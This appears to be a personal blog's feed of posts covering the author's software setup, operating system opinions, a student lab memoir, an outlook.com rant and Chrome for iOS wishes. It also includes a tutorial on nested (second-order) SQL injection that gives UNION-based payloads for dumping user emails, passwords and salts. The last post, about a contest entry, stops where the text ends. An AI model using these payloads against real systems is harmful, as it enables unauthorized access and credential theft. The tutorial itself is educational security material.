<p>For my terminal needs, I use Gnome-Terminal. I use
<a href="http://byobu.co/">Byobu</a> to manage my session, and often
connect to it from other computers as well. Its an
excellent multiplexer that fits in my workflow
really well.</p>
<p>I use <a href="http://imo.im/">Imo.im</a> on both the
Desktop and my tablet to chat. I occasionally use <a href="http://sourceforge.net/projects/retext/">ReText</a>
for editing markdown files. I use <a href="http://jonls.dk/redshift/">RedShift</a> on my laptop and <a href="http://justgetflux.com/">f.lux</a>
on my iPad to help me sleep better. I recommend it to everyone who is
suffering from eye-strain or wants to sleep better.</p>
<p>On the browser, my most visited sites would be
<a href="https://news.ycombinator.com/">Hacker News</a> (via hckrnews.com), <a href="http://workflowy.com/">WorkFlowy</a> for managing
my to-do list and GitHub on a daily basis for most of my projects.</p>
<h2 id="hardware">Hardware</h2>
<p>I own a old Nokia X3-02, and will be upgrading to a <a href="https://www.mozilla.org/en-US/firefox/os/">Firefox OS Phone</a> soon enough. I use a Dell Inspiron 1545 as my personal machine. I also use an iPad 2 (with 3G) on a daily basis (mostly for reading). I also own a Dayan Zhanchi 3x3 and a 5x5 shengshou
speed cube.</p>
<h2 id="ipad-apps">iPad Apps</h2>
<p>The must have iPad apps for me are Chrome, <a href="https://imo.im/iphone/">imo</a>, and iBooks. I have installed <a href="http://www.mailboxapp.com/">Mailbox</a> alongside GMail, and haven’t used GMail since
I installed it. I sometimes write stuff using <a href="http://www.hogbaysoftware.com/products/plaintext/">Plaintext</a>, and sketch using <a href="http://www.fiftythree.com/paper">Paper</a>. I read my RSS feeds using Newsify and Feedly.</p>
<h2 id="extensions">Extensions</h2>
<p>Chrome Extensions that I use on a daily basis include <a href="http://chimeapp.com/">Chime</a> for
wonderful notifications (highly recommended), <a href="http://www.ghostery.com">Ghostery</a> for getting a tracker-free internet
, <a href="https://www.eff.org/https-everywhere">HTTPS Everywhere</a> to keep me secure, <a href="http://lastpass.com/">LastPass</a> to manage passwords and <a href="https://chrome.google.com/webstore/detail/stylish/fjnbnpbmkenffdnngjfgmeleoegfcffe">Stylish</a>
for <a href="http://userstyles.org/users/183835">customizing</a> the looks of various websites.</p>
<h2 id="dream-setup">Dream Setup</h2>
<p>My dream setup would consist of a lightweight Ubuntu Laptop that I can carry around
that still has lots of processing power and battery life. I’ll prety much be satisfied
by any high-end Android phone as long as it has a decent battery life.</p>
Why I still recommend Windows2013-07-21T00:00:00+00:00https://captnemo.in/blog/2013/07/21/why-i-still-recommend-windows<p>Even though I am a long time Linux user, and a big time fan of the many Linux distros that I’ve tried out over time, I still go around recommending Windows to people who ask me for advice. The only exception I make is when the person in question is a developer, in which case I try to convert them to the Church of Linux.</p>
<p>The main reason I recommend windows to non-developers is because it is a far better operating system than most Linux distributions (for general public). Now, before you bring out your pitchforks, hear me out.</p>
<p>The first and foremost reason that I give is that Windows sports a far better integration across all its services. Nautilus/Nemo in the Linux world do not reach same level of integration that Windows Explorer does. For instance, just look at the way the “Send To” feature works in explorer. To add a folder to the send to entry, you just have to add a shortcut to that folder inside the special “Send To” folder. On nautilus, the equivalent would be going about installing an extension, and editing a configuration file by hand.</p>
<p>Or take a look at how the “Play All” feature in Explorer. Or the “Libraries” feature in Windows 7. Or the simple way that you handle file sharing in Windows. Even though Linux has (arguably better) Samba support for files sharing, you have to go about editing a handful of files to make it work. I personally find apache easier to configure to just share files one way.</p>
<p>Games are another reason. Even though Steam is available on Linux, all of the non-Valve triple-A titles are missing on Linux. Even though I continue to buy and play the Humble Bundles that offer Linux as a platform, I’m reminded of the stark reality every day when my friends ask me if I’ve played a recent title such as Call of Duty, Metro, NFS or even Swapper.</p>
<p>The next peeve that comes to my mind is the ridiculous driver support. It has been improving since a long time, but its still <em>not there</em>. Even Ubuntu needs to fetch proprietary drivers for my WiFi support on Broadcom, which needs an internet connection in the first place. This means I need to find out a LAN network connection to even start using Ubuntu. Similarly the pain I’d to go through to install drivers for Ralink network drivers on a friend’s laptop was immense. I can never use circular scrolling or touchpad zoom on my laptop in Linux because there are still no drivers available anywhere for it. And don’t get me started on UEFI boot issues. No matter what people believe or pretend, hardware support is just not good enough to be relied on in the Linux world. As a side note, I haven’t synced my iPad in Ubuntu since I shifted to iOS 5, and apple driver support on Linux will remain abysmal forever just because iTunes will never be released for Linux. The last version of iOS that had music sync support (via libimobiledevice) was iOS 4.0 (released 3 years ago in June 2010).</p>
<p>Next I want to point put out the upgrade pain that everyone has to go through. It’s like a constant rite of passage, which turns a Linux noob into an actual user. I am yet to do an Ubuntu upgrade which went smoothly and didn’t break a thing; and I’ve been upgrading my Ubuntu since 10.04 was released. The <a href="http://askubuntu.com/questions/tagged/upgrade">upgrade tag</a> on askubuntu is chock full of horror stories.</p>
<p>Another thing that frustrates me to no end is that the Ubuntu Dash, and the GNOME Overview are both slow as hell. I’m currently using Cinnamon, which is faster than both of these, but still an order of magnitude slower than the Windows Start Menu. Synpase is better, but <a href="http://askubuntu.com/questions/174838/can-i-change-synapse-shortcut-to-super-windows-key-alone">cannot be set as the deafult</a>.</p>
<p>I was using Windows 7 on my cousin’s laptop these last few days and I remembered the favourite app that I used to no end: Everything. It is the quickest file search I’ve ever used. The alternatives, in the Linux world are synapse, zeitgeist, and plain old locate command. The only issue is that I’ve to manually run updatedb manually, while Everything was always up to date, using the NTFS File Journal. To this date, I am yet to find a good enough alternative to Everything.</p>
<p>It is true that Windows lacks many of the good things that Linux distros provide, such as the excellent package management support, POSIX compatibility, and the plethora of tools we get on the command line; but at the same time, it is also a better operating system for most of the masses. I’ll continue to recommend Windows to all my non-developer friends till “The year of Desktop Linux” arrives.</p>
SDSLabs - My experiences2012-12-27T00:00:00+00:00https://captnemo.in/blog/2012/12/27/sdslabs-personal-blog-post<h2 id="introduction">Introduction</h2>
<p>For the past two years, I have been involved in a student group in our campus called SDSLabs.
It has been the most fun two years of my life. I have acted as programmer, developer, manager,
monkey-coder, event-manager and all other roles one might expect in a startup. However, I have
never really blogged about any of this. Someone pointed it out recently to me, the truth is I
have been meaning to write this since a very long time, but its kind of hard to put down in
words. I’ll try my best. This post is highly specific to iit roorkee (you have been warned).</p>
<h2 id="chronology-of-events--timeline">Chronology Of Events / Timeline</h2>
<p>Back in my first year, after joining something called SDS as a proficiency in the campus, I was learning PHP.
With no-one to guide me, I had only attended a single talk by Shobhit Singh where he talked about dynamic
websites. I was instantaneously hooked. I did something called lion, a twitter clone and it won 3rd prize
in Srishti. It had follow, unfollow, messages, tweets, and groups (one feature which set it apart from twitter).</p>
<p>The code was a mess of php and inline html, and I have never looked upon it since. I did a couple more projects by myself
, learning the in and outs of php (I was still to hear about ruby/python). At the end of my first year, I did a project
management system under Kumar Shashank who taught me about MVC and the need of architecture in a software application.</p>
<p>At the very end of the project, a group called <a href="http://sdslabs.co/">SDSLabs</a> was formed. Along with a few people
Shobhit sir had found, we founded SDSLabs. Everyone in the group was passionate about building things.
And somehow, magically, I was in it. And there began the most beautiful chapter of my life..</p>
<h3 id="coding--learning">Coding & Learning</h3>
<p>After completing the PMS (Project Management System), I moved on to work on Filepanda, and then the entire framework
application for SDSLabs. All our applications are powered by a single API, which I wrote. Meanwhile, Harshil was working
on DC++, and other awesome things. I met pranav sir, and was introduced to the thousand-quirks-of-css. It shifted to mint, and
then to ubuntu. I learned the ins-and-out of managing a linux system. Back then SDSLabs was limited to the small committee
room in Hobbies Club (with Shobhit Sir working tirelessly on funding for a better lab).</p>
<p>And I met Ishan Sir. If you are reading this, thank you for teaching me how to learn. I had tons of night-outs with him
discussing things I barely remember now. I became a creator. I executed on tons of ideas. Most never saw the second day in
their lives, but I still have them with me, as memento of the past and what was to be. Ishan Sir was a gold-mine for learning.
Everything I could ever ask, and he’d hand over a resource. Some of my most productive learning days were spent with him.</p>
<h3 id="recruitments">Recruitments</h3>
<p>After a single semester of work, we held our first recruitments. I wrote my
<a href="https://blog.sdslabs.co/2011/09/recruitment-experience">first blog post for the lab</a> at the time noting
down my amazing reaction to the awesome people that had joined the lab.</p>
<p>It is difficult to distil into words the awesome learning experience I had with all these people. Going to chapos, thinking
about how we could expand. What else awesome stuff we could do? One night hackathons, where we coded awesome stuff.</p>
<p>And I started to work on Muzi, which was to be <em>my application</em>. It stands at 811 commits today, with over
200 issues in our project management system.
I went into the development knowing PHP and bits of AJAX, and came out a JQuery fanboy. Muzi has been my primary music player
for almost an year now. It feels awesome to listen to music on a music player you coded. The initial version was
based on Zune’s design on Windows. We kept on improving it till it was exactly what we wanted. Today, people have listened to
almost 1 lac songs on Muzi, and it feels awesome to have been behind something that is so widely used (within the campus).</p>
<h3 id="launch">Launch</h3>
<p>The next semester involved our <a href="http://blog.sdslabs.co/2011/11/launch-and-beyond">actual launch (11-11-11)</a> of all our applications.
We had all converted into semi-breathing coding machines cum zombies by that time though. Sleepless and exhausted, we did prevail,
and launched a few hours early. The Launch was appreciably recieved in the campus, although I had to leave for the
<a href="https://captnemo.in/blog/2011/11/20/cctc-blog/">Deloitte CCTC Contest</a> the very same day(which we won!).</p>
<p>I ended up doing a rewrite of Codematics (codename CodeBot) in node for the launch. It has a geeky, command line interface
which was inspired by <a href="http://goosh.org/">goosh</a> and <a href="https://uni.xkcd.com/">xkcd’s unix interface</a>. Along with that, Muzi was
launched to huge appreciation as well.</p>
<h3 id="recruitments-again">Recruitments Again</h3>
<p>This was the semester where our group actually expanded. Our count is almost 42 now, and nothing could
make me more glad than actually being with all these people.</p>
<p>I donned lots of hats teaching, guiding, coding, and managing people. Linux became one of my top skills, and I learnt a lot.
We shifted to Redmine for management, and I ended up doing a lot of server-administration related stuff (gitolite,redmine,vhosts
,apache,varnish etc).</p>
<p>It has almost been a year since our last recruitment. We have been working of tons of things; some of which
will be launched soon. I took lectures on far apart topics from
<a href="https://speakerdeck.com/captn3m0/ux-and-usability-designing">“Usability Designing”</a> to
[“Software Development 101”].(https://speakerdeck.com/captn3m0/software-development-101) I mostly
worked on internal features, improving our API, and something called Presence. We also
<a href="https://captnemo.in/blog/2012/05/23/phonegap-blog-post/">participated</a> in
<a href="http://blog.sdslabs.co/2012/09/hacku">two hackathons</a>,
and we won both of them.</p>
<h2 id="where-now">Where, now?</h2>
<p>Our group is still nascent, and although I have not mentioned every project that the group (or even I) have
done for fear of making this post too long. That itself speaks volumes about what we’ve done in a short
span of two years. Our tagline reads <em>“iDream. iCode. iInnovate”</em>. I wish for the group to continue on that
path. Develop things that make life easier; for everyone around the world.</p>
<h2 id="people">People</h2>
<p>Throughout this journey, there have been lots of people, without whom this blog post would never have been written.
You all know who you are. Keep being awesome.</p>
<h2 id="skills">Skills</h2>
<p>I used to call myself a programmer, but now I’m in a more management-esque role in SDSLabs. Its my share of the work to manage projects,
and track progress. That does not mean that I’ve given up coding, and I still do code a lot for our internal projects. I have also become
somewhat of a UX enthusiast, taking care of most ux work done in lab. I have also found myself becoming an avid learner, and have Ishan
Sir to thank for that.</p>
<h2 id="anecdotes--stories">Anecdotes & Stories</h2>
<p>This post already reads more like a things-i-did-at-sdslabs, which is something I was hoping to avoid, instead of why-i-love-sdslabs, which is what i wanted. So I’m gonna stick a few moments and events that stand out to me…</p>
<ul>
<li>We have a board with three defining people on it: Steve Jobs, Dennis Ritchie, and Linus Torvalds.</li>
<li>We have had mind-blowing pizza chapos. So many pizzas that they were brought in 2 rickshaws from dominos. Yup.</li>
<li>I am known as the bot in lab. Mostly because of my highly rational unemotional responses, and other things. There is another person, who is trying to get that title, though.</li>
<li>I am famously known for turning down “writing a letter that could have fetched us lots of funding” for coding instead. (In my defense, there were other people who could have handled it better than me, and we didn’t need it badly at the time)</li>
<li>Almost every group in the campus describes their group as a second home. But in our case it is partially true. We spend almost all our free time in lab. I spent close to 500 hours in the lab in this semester alone. Where does this all this time go? Talking, discussions, development, teaching, lectures among other things.</li>
<li>SDSLabs feels more of a startup than an actual student group to me (and Shashank as well). We have to fight for our funding, manage people, and develop products.</li>
<li>I have done way too much copy-editing to be called “just a developer” anymore. I have spent hundreds of hours fighting Pinta and its numerous bugs.</li>
</ul>
<p>It has been a great experience working with all these people. I can just hope that the group keeps moving to better
innovation, and grander ideas in the future. We are recruiting from first year in upcoming January. If SDSLabs feels like a place you’d
enjoy, just come over and take our test. It changed my life, maybe it will change yours too.</p>
Why I'm leaving outlook.com2012-12-22T00:00:00+00:00https://captnemo.in/blog/2012/12/22/why-i-m-moving-from-outlook<p>I’d been one of the most eager users of the new outlook.com redesign.
I’m a real fan of Metro (sorry, I must call it the New Windows 8 Design),
and think that the correct typgraphy mixed with the correct design language should help the users in a great way forward.</p>
<p>Unfortunately, outlook.com is not there yet. The application was made to resemble the Windows Mail app in Windows 8, with 3 tiles per screen. On Windows, the application works in 1/2/3 width modes differently. It changes its navigational strategy to allow you to browse your emails easily. While this could have been easily accomplished using responsive design techniques on the web, outlook does not use it and loses sorely needed funcionality.</p>
<p>The typography of the app is horribly broken, especially in Linux. The font of choice for the app is Calibri, which is missing in Linux, and as such, uses the default system font from the browser. The font sizes are inconsistent, and the application shortcuts are horrible, even though I am using GMail shorcuts option.</p>
<p>The “Insert Link” option is horribly designed. It does not respond to enter keys, and has no place to add “Text” for the link either.</p>
<p>There is no mechanism for quoting messages properly at all. There is no such thing like Conversation View, and I have to waste large amounts of time just to figure out what was added new in the reply to my own mail. As such this becomes largely cumbersome to keep up with.</p>
<p>The archive option from GMail (which keeps my inbox clean) is notably missing as well. (Update: This was added later, with the
ability to use archive to move to any custom folder)</p>
<p>The “Active View”, which seems to be a quick preview mode, only works on Windows, because it uses Silverlight. I tried using
Moonlight (Silverlight’s OSS clone for Linux), but it seems that Active View uses new Silverlight features. Hence, I can
only download pics from Outlook, and not browse them online (which is a huge pain-point for me).</p>
<p>/Rant</p>
Things I expect in a Chrome/iOS update2012-07-14T00:00:00+00:00https://captnemo.in/blog/2012/07/14/chrome-ios<p>I’ve changed to using Chrome for iOS as my primary browser. Since I only own an iPad 2, all of my observations are with regard to the iPad version of the browser.</p>
<h2 id="why-i-love-chrome">Why I love Chrome</h2>
<p>Chrome is already my primary browser on my primary machine, and after it came out for the iOS, I tried it out hesitantly, but to my surprise (contrary to what the internet says) it is working out even better than expected.</p>
<ul>
<li>Ability to sync tabs across my laptop and tablet. I can leave my laptop and continue reading on the go. I don’t own a Mac, so I can’t comment against how Safari/iCloud does it, but it works well enough for me.</li>
<li>All my desktop bookmarks (and bookmarklets) are available and functioning instantly.</li>
<li>Omnibox is awesome, and saves me a lot of trouble, looking in my history, bookmarks, and pre-fetching stuff. This was the most important feature that Chrome v1 brought along with it (when it was released in Windows), and its nice to find it work exactly as indended.</li>
<li>Incognito Mode (I previously used Dolphin in private mode, but this is far better).</li>
<li>Complete bookmark listing while creating a new bookmark. Unlike Desktop version of Chrome, which only shows 5 most recently used folders. I bookmark stuff extensively, and it makes the process much easier for me than on the desktop version, ironically. <a href="/img/bookmark_compare.png">See Image for Comparision</a></li>
<li>Tab Switching is brilliant. It seems to be inspired/copied straight from <a href="http://itunes.apple.com/us/app/paper-by-fiftythree/id506003812?mt=8">Paper</a>, but it is executed well enough for me. It gets better once you get used to it. The tag bar itself is scrollable as a plus (you can hide/unhide tabs). I’ve read people complaining about this, but it helps me browse on the ipad one-handed.</li>
<li>It feels fast, especially after continous use. I don’t know if its the ported networking stack, or better caching, but page load speeds are better than Safari for me in general.</li>
</ul>
<p><strong>Note</strong>: If you have a jailbroken device, you can setup Chrome as your default browser using BrowserChooser from Cydia. The best part is that home-screen shortcuts open in Chrome as well. I’ve ditched Facebook App for a shortcut icon to <code class="language-plaintext highlighter-rouge">touch.facebook.com</code> as a result.</p>
<h2 id="things-i-want">Things I want</h2>
<ul>
<li>Support for <strong>configurable search engines</strong>. I use them extensively (for eg <strong>d</strong>uckduckgo, google <strong>l</strong>ucky search, <strong>a</strong>mazon, <strong>e</strong>bay, <strong>g</strong>it<strong>h</strong>ub, <strong>s</strong>tack<strong>o</strong>verflow and even google <strong>m</strong>obile search). The pre-defined search engines are of no use to me (Bing/Yahoo/Guruji).</li>
<li><strong>Find in Page</strong>. This is a no-brainer. <strong>Edit</strong>: This is available via <a href="http://www.addictivetips.com/ios/great-cydia-tweaks-for-chrome-iphone-ipad/">Chrome Customizer</a> in Cydia for a jailbroken device.</li>
<li>Ability to <strong>turn off images/javascript</strong>) (Content Settings). I’m not sure if it will be possible w/o proxying like how Opera does, but this would be nice to have (since people might want to save bandwidth on 3g).</li>
<li>Support for emailing an entire page (rendered).</li>
<li><strong>UserScript support</strong>. I don’t know if apple would allow it at all, but I think the Apple ToS disallows code to be downloaded. What if there were some sort of linking support to allow me to insert some external script tag?</li>
<li><strong>Readability/iReader</strong> like support. The safari readability link does work wonders. This could be simulated with a bookmarklet, but once again calling them is hard. <strong>Update</strong>: ChromeCustomizer can do this via settings menu (see below).</li>
<li><strong>Better access to bookmarks/bookmarklets</strong>. At least show me the mobile bookmarks so I can keep them separate.</li>
<li>Wait a bit more before taking the page snapshot for the speed-dial. The GMail snapshot has always been blank for me. At least check if the snapshot is completely blank, and wait a bit more if that is the case.</li>
<li>App shortcuts. The kind like you get for almost all websites on Chrome Webstore. I think they are referred to as <strong>“Chrome Apps”</strong> against “Extensions”, which would be completely disallowed as per Apple ToS. Since Apps are just shortcuts and some icons, they should be allowed in some manner.</li>
<li><strong>Better history</strong> support. Seeing just the last 6 closed tabs kind of sucks. Give me some real history browser (and improve the one in desktop chrome while you’re at it).</li>
<li>Mailto support (for gmail etc). Don’t know if possible, but would be nice to have.</li>
<li>Selection Mailing. Just let me select and mail some html.</li>
<li><strong>Handle pdfs</strong> better. By default chrome redirects to Safari for pdfs. After changing Chrome to default, it does handle pdfs fine, but I miss the “Open In iBooks” link. Don’t see this happening though. (Update: This was fixed in a Chrome Update)</li>
<li><strong>Webintents</strong> support would be nice to have (via something other than chrome Webstore, I Guess)</li>
<li><strong>CloudPrint</strong> support. I don’t use this, but I am assuming there are people who do.</li>
<li><strong>FullScreen</strong> support of some sort. Safari in iOS 6 is bringing this much asked for feature, so there are people who would love to have this. Chrome’s faster tab switching should help it out with some of the Full Screen issues. (<strong>Edit</strong>: This is available via a three finger tap if you install <a href="http://www.idownloadblog.com/2012/07/01/chromizer/">Chromizer</a> from Cydia’s ModMyi repo). Chromizer also forces the iPhone style tab switching on the iPad as a side-effect.</li>
</ul>
<p>There is also a <a href="http://www.idownloadblog.com/2012/07/01/chromeurl/">ChromeURL</a> tweak available for Jailbroken devices that changes the keyboard layout to the the one used for address bar in Safari (So called tld keyboard).</p>
<p>Another one called <a href="http://modmyi.com/content/8108-chromecustomization-adds-some-new-stuff-google-chrome.html">ChromeCustomizer</a> offers the following:</p>
<ul>
<li>Add one bookmarklet to the settings menu. I’m using <a href="http://readable.tastefulwords.com/">Readable</a> at present.</li>
<li>Adds a broken fullscreen implementation (maybe it is clashing with Chromizer) via the Menu. I prefer Chromizer’s 3 finger tap for fullscreen.</li>
<li>Adds a Find in Page feature. <strong>Update</strong>: This is now available</li>
<li>Adds some filtering for ads/tracking websites.</li>
<li>Adds an option to change Chrome tab switching mode (iPhone vs iPad).</li>
</ul>
<p>See <a href="http://www.addictivetips.com/ios/great-cydia-tweaks-for-chrome-iphone-ipad/">this blog post</a> for some more tweaks available on cydia.</p>
Nested SQL Injections2012-06-09T00:00:00+00:00https://captnemo.in/blog/2012/06/09/nested-sql-injections<p>I recently did something along this line, and this technique is really cool. (I prefer to call it “inception” injection). Its pretty easy once you figure it out, so here it goes.</p>
<p>If the result of the first query is used as an input in the second query, and the first query is vulnerable, we can use the output as a “input variable” into the second query itself. This would be useful in places where the second query has a better display method than the first one (for instance length restrictions).</p>
<h2 id="query-1">Query 1:</h2>
<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">users</span> <span class="k">WHERE</span> <span class="n">email</span><span class="o">=</span><span class="s1">'$email'</span> <span class="k">AND</span> <span class="n">password</span> <span class="o">=</span> <span class="s1">'$pass'</span></code></pre></figure>
<p>This query is usually accompanied with:</p>
<figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="cp"><?php</span>
<span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'email'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$row</span><span class="p">[</span><span class="s1">'username'</span><span class="p">];</span></code></pre></figure>
<h2 id="query-2">Query 2:</h2>
<p>Assuming something like a profile page:</p>
<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">user_details</span> <span class="k">WHERE</span> <span class="n">email</span><span class="o">=</span><span class="s1">'{$_SESSION['</span><span class="n">email</span><span class="s1">']}'</span></code></pre></figure>
<p>#Injection</p>
<p>Injecting the first query (basic)</p>
<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">users</span> <span class="k">WHERE</span> <span class="n">email</span><span class="o">=</span><span class="s1">'[email protected]'</span> <span class="o">#</span> <span class="k">AND</span> <span class="n">password</span><span class="o">=</span><span class="s1">''</span></code></pre></figure>
<p>Everything after # should be treated as a comment. Hence forward, I would not write stuff after # for brevity.</p>
<p>Thinking backwards, we could create a custom query for user_details:</p>
<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">user_details</span> <span class="k">WHERE</span> <span class="n">email</span><span class="o">=</span><span class="s1">''</span> <span class="k">UNION</span> <span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">user_details</span> <span class="o">#</span></code></pre></figure>
<p>This would show the details of the first user in the profile page. Let’s think a bit larger:</p>
<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">user_details</span> <span class="k">WHERE</span> <span class="n">email</span><span class="o">=</span><span class="s1">''</span> <span class="k">UNION</span> <span class="k">SELECT</span> <span class="n">GROUP_CONCAT</span><span class="p">(</span><span class="n">email</span><span class="p">),</span> <span class="n">GROUP_CONCAT</span><span class="p">(</span><span class="n">password</span><span class="p">)</span> <span class="k">FROM</span> <span class="n">user_details</span> <span class="o">#</span></code></pre></figure>
<p>Usually, this won’t work (different number of columns in results). You’d have to use ORDER BY to guess the number of columns. Writing only the <code class="language-plaintext highlighter-rouge">UNION</code> part now:</p>
<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="k">UNION</span> <span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">user_details</span> <span class="k">ORDER</span> <span class="k">BY</span> <span class="mi">1</span> <span class="o">#</span>
<span class="k">UNION</span> <span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">user_details</span> <span class="k">ORDER</span> <span class="k">BY</span> <span class="mi">2</span> <span class="o">#</span>
<span class="k">UNION</span> <span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">user_details</span> <span class="k">ORDER</span> <span class="k">BY</span> <span class="mi">3</span> <span class="o">#</span>
<span class="k">UNION</span> <span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">user_details</span> <span class="k">ORDER</span> <span class="k">BY</span> <span class="mi">4</span> <span class="o">#</span> <span class="c1">-- Gives Error</span></code></pre></figure>
<p>So we realize that user_details has 3 columns. Coming back, we could do:</p>
<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="k">UNION</span> <span class="k">SELECT</span> <span class="n">GROUP_CONCAT</span><span class="p">(</span><span class="n">email</span><span class="p">),</span> <span class="n">GROUP_CONCAT</span><span class="p">(</span><span class="n">password</span><span class="p">),</span> <span class="mi">3</span> <span class="k">FROM</span> <span class="n">users</span> <span class="o">#</span></code></pre></figure>
<p>That would give us details upto 1000 characters (GROUP_CONCAT limits). To mitigate those limits:</p>
<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="k">UNION</span> <span class="k">SELECT</span> <span class="n">GROUP_CONCAT</span><span class="p">(</span><span class="n">email</span><span class="p">),</span><span class="n">GROUP_CONCAT</span><span class="p">(</span><span class="n">password</span><span class="p">),</span><span class="n">GROUP_CONCAT</span><span class="p">(</span><span class="n">salt</span><span class="p">)</span> <span class="k">FROM</span> <span class="p">(</span><span class="k">SELECT</span> <span class="n">email</span><span class="p">,</span><span class="n">password</span><span class="p">,</span><span class="n">salt</span> <span class="k">FROM</span> <span class="n">users</span> <span class="k">LIMIT</span> <span class="mi">50</span> <span class="k">OFFSET</span> <span class="mi">0</span><span class="p">)</span></code></pre></figure>
<p>Change the OFFSET and you’re ready to roll.</p>
<h2 id="inception-injection">Inception Injection</h2>
<p>This was all a theoritical attack on the second query. Granted you could do lots of stuff from here on the first query, but it is far less responsive (Doesn’t give much output). The only thing you can modify is the email, which offers you a single field.</p>
<p>However, the only attack vector (<code class="language-plaintext highlighter-rouge">$_SESSION</code>) for the second query is not directly controlled, but comes instead from the result of the first query. So to perform this attack on the second query, we take the second injection, and use it inside the first one.</p>
<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">users</span> <span class="k">WHERE</span> <span class="n">email</span><span class="o">=</span><span class="s1">''</span> <span class="k">UNION</span> <span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">users</span> <span class="o">#</span> <span class="c1">-- will give us first user</span>
<span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">users</span> <span class="k">WHERE</span> <span class="n">email</span><span class="o">=</span><span class="s1">''</span> <span class="k">UNION</span> <span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">users</span> <span class="k">ORDER</span> <span class="k">BY</span> <span class="mi">1</span> <span class="o">#</span> <span class="c1">-- keep increasing to get number of columns</span>
<span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">users</span> <span class="k">WHERE</span> <span class="n">email</span><span class="o">=</span><span class="s1">''</span> <span class="k">UNION</span> <span class="k">SELECT</span> <span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span> <span class="k">FROM</span> <span class="n">users</span> <span class="o">#</span> <span class="c1">-- This would let us know which column corresponds to the email id</span>
<span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">users</span> <span class="k">WHERE</span> <span class="n">email</span><span class="o">=</span><span class="s1">''</span> <span class="k">UNION</span> <span class="k">SELECT</span> <span class="nv">"<inject second query here>"</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span> <span class="k">FROM</span> <span class="n">users</span> <span class="o">#</span> <span class="c1">-- This would let us know which column corresponds to the email id</span></code></pre></figure>
<p>Although we have been writing injection code starting with UNION, it actually would start with ‘ UNION… Using our last injection code for the second query here, it becomes:</p>
<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">users</span> <span class="k">WHERE</span> <span class="n">email</span><span class="o">=</span><span class="s1">''</span> <span class="k">UNION</span> <span class="k">SELECT</span> <span class="nv">"' UNION SELECT GROUP_CONCAT(email),GROUP_CONCAT(password),GROUP_CONCAT(salt) FROM (SELECT email,password,salt FROM users LIMIT 50 OFFSET 0) #"</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span> <span class="k">FROM</span> <span class="n">users</span> <span class="o">#</span></code></pre></figure>
<p>What happens on the server side:</p>
<figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="cp"><?php</span>
<span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'email'</span><span class="p">]</span> <span class="o">=</span> <span class="s2">"' UNION SELECT GROUP_CONCAT(email),GROUP_CONCAT(password),GROUP_CONCAT(salt) FROM (SELECT email,password,salt FROM users LIMIT 50 OFFSET 0) #"</span></code></pre></figure>
<p>and the second query becomes:</p>
<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">user_details</span> <span class="k">WHERE</span> <span class="n">email</span><span class="o">=</span><span class="s1">''</span> <span class="k">UNION</span> <span class="k">SELECT</span> <span class="n">GROUP_CONCAT</span><span class="p">(</span><span class="n">email</span><span class="p">),</span><span class="n">GROUP_CONCAT</span><span class="p">(</span><span class="n">password</span><span class="p">),</span><span class="n">GROUP_CONCAT</span><span class="p">(</span><span class="n">salt</span><span class="p">)</span> <span class="k">FROM</span> <span class="p">(</span><span class="k">SELECT</span> <span class="n">email</span><span class="p">,</span><span class="n">password</span><span class="p">,</span><span class="n">salt</span> <span class="k">FROM</span> <span class="n">users</span> <span class="k">LIMIT</span> <span class="mi">50</span> <span class="k">OFFSET</span> <span class="mi">0</span><span class="p">)</span> <span class="o">#</span></code></pre></figure>
<p>Note that we still have to keep a # at the end of the inner query. There are portions after # which we still need to discard. Feel free to contact me if you have any further doubts. I am sure this is a well-known and used by people already, but this was something new to me.</p>
Akira - Winning entry to the Adobe Express Apps Contest2012-05-23T00:00:00+00:00https://captnemo.in/blog/2012/05/23/phonegap-blog-post<p>This is the obligatory blog post that comes along with winning the Adobe Express Apps Contest.</p>
<h1 id="contest-rules">Contest Rules</h1>
<p>The contest rules asked you to develop a mobile application, using Adobe Phonegap and related technologies(read Dreamweaver) in a time frame of hardly 18 hours. This duration was assuming that one does no sleep, which I did not.</p>
<p>The problem statement for the application was to create a mobile application for a SUV car manufacturer. The application had to be socially engaging and <em>use the hardware capabilities offered by the device</em>.</p>
<h1 id="our-interpretation">Our Interpretation</h1>
